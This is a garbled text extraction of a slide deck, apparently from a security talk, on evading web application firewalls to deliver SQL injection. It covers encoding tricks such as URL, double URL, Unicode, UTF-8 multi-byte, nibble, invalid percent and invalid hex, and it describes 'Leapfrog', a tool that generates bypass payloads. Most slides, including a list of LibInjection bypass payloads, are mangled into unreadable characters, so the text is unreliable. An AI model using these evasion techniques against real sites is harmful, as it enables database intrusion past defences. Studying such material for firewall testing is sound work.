¥! ] €*e`!>LD`*E5(-5*L<*03).;3) [Wf\€*`Q`!*23-5()G',"GTIu.2'-;(77 *o.2' o**

¥! #q1'r*‚d?Kd*<`>`!:* 53,7(u&32(*ODKb*1&$")234"&u-.;(23G53,7(-*>?b?:*]*

¥! ~'*W•*‚d?Kd*<`>`!:* 53,7(u&32(*ODKb*1&$")234"&u-.;(23G53,7(-*>?b?:*]*



BYPASSING FIREWALLS - SQLi Obfuscation 

LibInjection 
¥! ]*,(5F((& *]*Lde |1'|*;301&8*f*%&1"&*-(7(.5*53,7(u&32(*$)"2*1&$")234"&u-.;(23G53,7(-*
¥! ]*2"'*Cam]aC*%&1"&*-(7(.5*53,7(u&32(*$)"2*1&$")234"&u-.;(23G53,7(-##*
¥! 5)%(*1-*&"5*%&U&"F&*$")*%I'35(*%&1"&*-(7(.5*53,7(u&32(*$)"2*1&$")234"&u-.;(23G53,7(-*
¥! 5(-5o#]C]CaaC%&1"&[-(7(.5*53,7(u&32(*$)"2*1&$")234"&u-.;(23G53,7(-*71215*]9]\*
¥! #]*%&1"&*-(7(.5*E||zz9*53,7(u&32(*$)"2*1&$")234"&u-.;(23G53,7(-*
¥! #]*>K!A*?d*<RLD`*bKe`*‚d?Kd*<`>`!:* 53,7(u&32(*$)"2*1&$")234"&u-.;(23G53,7(-*
¥! wG||G1'*3&'*f*%&1"&*-(7(.5*53,7(u&32(*$)"2*1&$")234"&u-.;(23G53,7(-*
¥! #[-(7(.5*E\*1-*%&U&"F&*;301&8*]*‚d?Kd*-(7(.5*53,7(u&32(*$)"2*1&$")234"&u-.;(23G53,7(-*
¥! Camh]]]]]aCCamfaC%&1"&*-(7(.5*53,7(u&32(*T*$)"2*1&$")234"&u-.;(23G53,7(-*71215*]*
¥! #]G$")*%I'35(*%&1"&*-(7(.5*53,7(u&32(*$)"2*1&$")234"&u-.;(23G53,7(-*71215*]*
¥! #f,f] *%&1"&*-(7(.5*53,7(u&32(*$)"2*1&$")234"&u-.;(23G53,7(-*71215*]*
¥! ] ‡,1&3)6*]s W*%&1"&*-(7(.5*53,7(u&32(*$)"2*1&$")234"&u-.;(23G53,7(-*71215*]*
¥! #]*I)".('%)(* 3&376-([]8$-'8$'-9*-$8\*%&1"&*-(7(.5*53,7(u&32(*$)"2*

1&$")234"&u-.;(23G53,7(-*71215*]*



BYPASSING FIREWALLS 
 Encodings 

¥! ‚D>*(&."'(*
¥! e"%,7(*‚D>*(&."'(*
¥! ‚&1."'(*(&."'(*
¥! ‚:O#Y*2%74#,65(*(&."'(*
¥! O1)-5*d1,,7(*
¥! <(."&'*d1,,7(*
¥! e"%,7(*d1,,7(*
¥! ?&0371'*/().(&5*(&."'(*
¥! ?&0371'*R(T*(&."'(*



BYPASSING FIREWALLS Ð Encodings 
 URL Encode 

¥! ‚D>*`&."'1&8*1-*%-('*5"*5)3&-$")2*^-I(.137_*
.;3)3.5()-9*-"*5;(6*.3&*,(*-(&5*"0()*R::/*

¥! !;3)3.5()-*8(5*5)3&-$")2('*5"*5;(1)*;(T3'(.1237*
(N%1037(&59*I)(PT('*F15;*3*I().(&5*-18&*

¥! 3*c*xi]**



BYPASSING FIREWALLS Ð Encodings 
 Double URL Encode 

¥! e"%,7(*‚D>*(&."'(*1-*5;(*I)".(--*"$*)(#(&."'1&8*
I().(&5*-18&*

¥! 3*c*xi]*

¥! xi]*c*xWZi]*



BYPASSING FIREWALLS Ð Encodings 
 URL Encode / Weak Firewall 

e(-.)1I4"&*"$*<=>bL/*532I()*-.)1I5*^.;3)(&."'( _*%-('*5"*
‚D>*(&."'(*5;(*)(N%(-5J*

!"#$%&'()*(+,-.##(!"#$%&"'((/$+(.--'01.2*3(45$/.''#(
)6.)(7*(3*)(&5'87$1*7$()6$(5$9&$#)(+$%*5$(-5*1$##03:(0)(

)65*&:6()6$05(5&'$#$);(



BYPASSING FIREWALLS Ð Encodings 
 URL Encode / Weak Firewall 

Demo 



BYPASSING FIREWALLS Ð Encodings 
 Unicode 

¥! <12173)*5"*‚D>*(&."'1&89*;"F(0()*5;(*;(T*
.;3)3.5()*1-*I)(PT('*F15;*^%ff_*

¥! <%II")5('*,6*??<*

¥! 3*c*xi]*

¥! xi]*c*x%ffi]*



BYPASSING FIREWALLS Ð Encodings 
 UTF-8 Multi-byte 

¥! :;(*7(3'1&8*,15-*"$*5;(*P)-5*,65(9*%I*5"*5;(*P)-5*f9*
)(I)(-(&5*5;(*5"537*&%2,()*"$*$"77"F1&8*,65(-*5"*
."2I7(5(*5;(*-(N%(&.(*

¥! :;(*$"77"F1&8*,15-*3Ž()*5;(*P)-5*f*1&*5;(*P)-5*,65(*
$")2*I3)5*"$*.;3)3.5()*

¥! `3.;*."&-(.%40(*,65(*;3-*•]fj*1&*5;(*;18;#")'()*
I"-14"&9*;"F(0()*5;(-(*5F"*,15-*3)(*)('%&'3&5*



BYPASSING FIREWALLS Ð Encodings 
 UTF-8 Multi-byte 

,/B$D"&-"
D$GF$-%$"

,/B$"; " ,/B$"<" ,/B$"=" ,/B$"6" ,/B$"9" ,/B$">"

; " fTTTTTTT* ** ** ** ** **

<" ]]fTTTTT* ]fTTTTTT* ** ** ** **

=" ]]]fTTTT * ]fTTTTTT* ]fTTTTTT* ** ** **

6" ]]]]fTTT * ]fTTTTTT* ]fTTTTTT* ]fTTTTTT* ** **

9" ]]]]]fTT * ]fTTTTTT* ]fTTTTTT* ]fTTTTTT* ]fTTTTTT* **

>" ]]]]]]fT * ]fTTTTTT* ]fTTTTTT* ]fTTTTTT* ]fTTTTTT* ]fTTTTTT*



BYPASSING FIREWALLS Ð Encodings 
 UTF-8 Multi-byte 

,/B$"4$GF$-%$" HI!.!%B$."J!K"$-%@+$+" L&.DB"BM@"I&NI"@.+$."O&BD"

<"O/B$"D$GF$-%$" x.]x3] * ]f *

<"O/B$"D$GF$-%$" x.]xW] * ff *

<"O/B$"D$GF$-%$" x.]xi] * f] *

<"O/B$"D$GF$-%$" x.]x(] * ]] *

="O/B$"D$GF$-%$" x(fxY]x3] * ]f *



BYPASSING FIREWALLS Ð Encodings 
 Nibble 

¥! L*&1,,7(*1-*g*,15-*

¥! K&(*&1,,7(*)(I)(-(&5-*3*;(T*'1815*[Wpg*c*]i\*

¥! :F"*&1,,7(-*")*3&*".5(59*)(I)(-(&5*3*;(T*.;3)3.5()*



BYPASSING FIREWALLS Ð Encodings 
 Nibble 

)$*" #$%&'!(" 3%B!(" ,&-!./"

f* f* f* ffff*

]* ]* ]* fff ]*

W* W* W* ff ] f*

V* V* V* ff ]]*

g* g* g* f ] ff*

Z* Z* Z* f ] f ]*

i* i* i* f ]] f*

X* X* X* f ]]]*

Y* Y* ]f* ] fff*

h* h* ]]* ] ff ]*

L* ]f* ]W* ] f ] f*

B* ]]* ]V* ] f ]]*

!* ]W* ]g* ]] ff*

e* ]V* ]Z* ]] f ]*

`* ]g* ]i* ]]] f*

O* ]Z* ]X* ]]]]*



BYPASSING FIREWALLS Ð Encodings 
 First Nibble 

¥! O1)-5*g*7(3'1&8*,15-*3)(*‚D>*(&."'('*

¥! ^3_*c*x>]*

¥! i*c*xVi*

¥! x P=>]*



BYPASSING FIREWALLS Ð Encodings 
 Second Nibble 

¥! >3-5*g*)(231&1&8*,15-*3)(*‚D>*(&."'('*

¥! ^3_*c*xi;"

¥! ]*c*xV]*

¥! xi P=; *



BYPASSING FIREWALLS Ð Encodings 
 Double Nibble 

¥! !"2,1&34"&*"$*^P)-5*&1,,7(_*l*^-(."&'*&1,,7(_*
(&."'1&8*

*
¥! ^3_*c*x>;"
*
¥! i*c*Vi*
*
¥! ]*c*xV]*
*
¥! x P=>P=;*



BYPASSING FIREWALLS Ð Encodings 
 Invalid Percent 

??<*)(2"0(-*5;(*I().(&5*-18&*F;(&*&"5*%-('*F15;*0371'*;(T*
*
:;(*+LO*)(.(10(-J*
¥! x<`x>`x!:*x]*xOxDxxxxxKb*x:LxBx>x`x*
*
R"F(0()9*??<*)(3'-*15*3-J*
¥! <`>`!:*]*ODKb*:LB>`*
*



BYPASSING FIREWALLS Ð Encodings 
 Invalid Hex 

¥! !)(35(*1&0371'*;(T*5;35*)(-%75-*1&*5;(*-32(*'(.1237*
037%(*3-*0371'*;(T*

*
¥! ^3_*c*xi]*
*
¥! xi]*c*i*a*]i*l*]*c*hX*
*
¥! xW•*c*W*a*]i*l*iZ*c*hX*
*
¥! xW•*1-*5;(*-32(*3-*xi]*



BYPASSING FIREWALLS Ð Encodings 
 Invalid Hex 

#$%&'!(" Q!(&+")$*" 0-R!(&+")$*"

]f* fL* fL*

]]* fB* fB*

]W* f!* f!*

]V* fe* fe*

]g* f`* f`*

]Z* fO* fO*

;>" ;:" :S"

;?" ;;" :)"



LEAPFROG 



¥! L*5""7*'(-18&('*5"*;3)'(&*6"%)*P)(F377*
¥! O1&'-*,6I3--(-*$")*'1…()(&5*F(,*3H3.U-*

*k*<=>1*

*k*Q<<*
*k*>O?*
*k*!"&5(&5*O175()-*

¥! !)(35(-*377*15-*I367"3'-*'6&321.3776*
¥! /)"01'(-*)(."22(&'34"&-*"&*-%..(--$%7**,6I3--(-*
¥! *n(&()35(-*3*-.")(*,3-('*"&*-%..(--$%7*,6I3--(-*
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